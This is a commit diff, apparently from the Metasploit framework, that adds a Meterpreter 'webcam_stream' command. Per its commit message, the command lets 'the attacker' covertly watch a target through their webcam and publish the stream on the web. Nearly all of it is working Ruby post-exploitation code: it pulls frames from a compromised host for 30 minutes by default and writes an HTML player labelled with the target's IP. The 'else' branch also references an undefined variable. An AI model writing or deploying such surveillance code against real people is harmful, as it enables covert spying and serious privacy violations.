Add webcam livestream feature for meterpreter
[SeeRM #8729] - This meterpreter command allows the attacker to observe the target at real-time by turning their webcam live. There is also a HTML-based player provided, which does not require a plugin or anything, just open it with a browser. The HTML-based player also allows the attacker to put livestream on the web (evil? yeah, kind of.)bug/bundler_fix
parent
b8569a1698
commit
92a0ff1096
|
@ -24,11 +24,13 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
all = {
|
||||
"webcam_list" => "List webcams",
|
||||
"webcam_snap" => "Take a snapshot from the specified webcam",
|
||||
"webcam_stream" => "Play a video stream from the specified webcam",
|
||||
"record_mic" => "Record audio from the default microphone for X seconds"
|
||||
}
|
||||
reqs = {
|
||||
"webcam_list" => [ "webcam_list" ],
|
||||
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
"record_mic" => [ "webcam_audio_record" ],
|
||||
}
|
||||
|
||||
|
@ -102,12 +104,15 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
rescue
|
||||
end
|
||||
if wc_list.length > 0
|
||||
print_status("Starting...")
|
||||
client.webcam.webcam_start(index)
|
||||
data = client.webcam.webcam_get_frame(quality)
|
||||
print_good("Got frame")
|
||||
client.webcam.webcam_stop
|
||||
print_status("Stopped")
|
||||
begin
|
||||
print_status("Starting...")
|
||||
client.webcam.webcam_start(index)
|
||||
data = client.webcam.webcam_get_frame(quality)
|
||||
print_good("Got frame")
|
||||
ensure
|
||||
client.webcam.webcam_stop
|
||||
print_status("Stopped")
|
||||
end
|
||||
|
||||
if( data )
|
||||
::File.open( path, 'wb' ) do |fd|
|
||||
|
@ -124,6 +129,130 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_webcam_stream(*args)
|
||||
print_status("Starting...")
|
||||
stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
|
||||
player_path = Rex::Text.rand_text_alpha(8) + ".html"
|
||||
duration = 1800
|
||||
quality = 50
|
||||
view = true
|
||||
index = 1
|
||||
wc_list = []
|
||||
|
||||
webcam_snap_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner" ],
|
||||
"-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
|
||||
"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
|
||||
"-q" => [ true, "The stream quality (Default: '#{quality}')" ],
|
||||
"-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
|
||||
"-t" => [ true, "The stream player path (Default: #{player_path})"],
|
||||
"-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
|
||||
)
|
||||
|
||||
webcam_snap_opts.parse( args ) { | opt, idx, val |
|
||||
case opt
|
||||
when "-h"
|
||||
print_line( "Usage: webcam_stream [options]\n" )
|
||||
print_line( "Stream from the specified webcam." )
|
||||
print_line( webcam_snap_opts.usage )
|
||||
return
|
||||
when "-d"
|
||||
duration = val.to_i
|
||||
when "-i"
|
||||
index = val.to_i
|
||||
when "-q"
|
||||
quality = val.to_i
|
||||
when "-s"
|
||||
stream_path = val
|
||||
when "-t"
|
||||
player_path = val
|
||||
when "-v"
|
||||
view = false if ( val =~ /^(f|n|0)/i )
|
||||
end
|
||||
}
|
||||
|
||||
print_status("Preparing player...")
|
||||
html = %Q|<html>
|
||||
<head>
|
||||
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
|
||||
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
|
||||
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
|
||||
<script language="javascript">
|
||||
function updateStatus(msg) {
|
||||
var status = document.getElementById("status");
|
||||
status.innerText = msg;
|
||||
}
|
||||
|
||||
function noImage() {
|
||||
document.getElementById("streamer").style = "display:none";
|
||||
updateStatus("Waiting");
|
||||
}
|
||||
|
||||
var i = 0;
|
||||
function updateFrame() {
|
||||
var img = document.getElementById("streamer");
|
||||
img.src = "#{stream_path}#" + i;
|
||||
img.style = "display:";
|
||||
updateStatus("Playing");
|
||||
i++;
|
||||
}
|
||||
|
||||
setInterval(function() {
|
||||
updateFrame();
|
||||
},25);
|
||||
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<noscript>
|
||||
<h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
|
||||
</noscript>
|
||||
<pre>
|
||||
Target IP : #{client.sock.peerhost}
|
||||
Start time : #{Time.now}
|
||||
Status : <span id="status"></span>
|
||||
</pre>
|
||||
<br>
|
||||
<img onerror="noImage()" id="streamer">
|
||||
<br><br>
|
||||
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
::File.open(player_path, 'wb') do |f|
|
||||
f.write(html)
|
||||
end
|
||||
if view
|
||||
print_status("Opening player at: #{player_path}")
|
||||
Rex::Compat.open_file(player_path)
|
||||
else
|
||||
print_status("Please open the player manually with a browser: #{interface_path}")
|
||||
end
|
||||
|
||||
print_status("Streaming...")
|
||||
begin
|
||||
client.webcam.webcam_start(index)
|
||||
::Timeout.timeout(duration) {
|
||||
while client do
|
||||
data = client.webcam.webcam_get_frame(quality)
|
||||
if data
|
||||
::File.open(stream_path, 'wb') do |f|
|
||||
f.write(data)
|
||||
end
|
||||
data = nil
|
||||
end
|
||||
end
|
||||
}
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
client.webcam.webcam_stop
|
||||
end
|
||||
|
||||
print_status("Stopped")
|
||||
end
|
||||
|
||||
def cmd_record_mic(*args)
|
||||
path = Rex::Text.rand_text_alpha(8) + ".wav"
|
||||
play = true
|
||||
|
|
Loading…
Reference in New Issue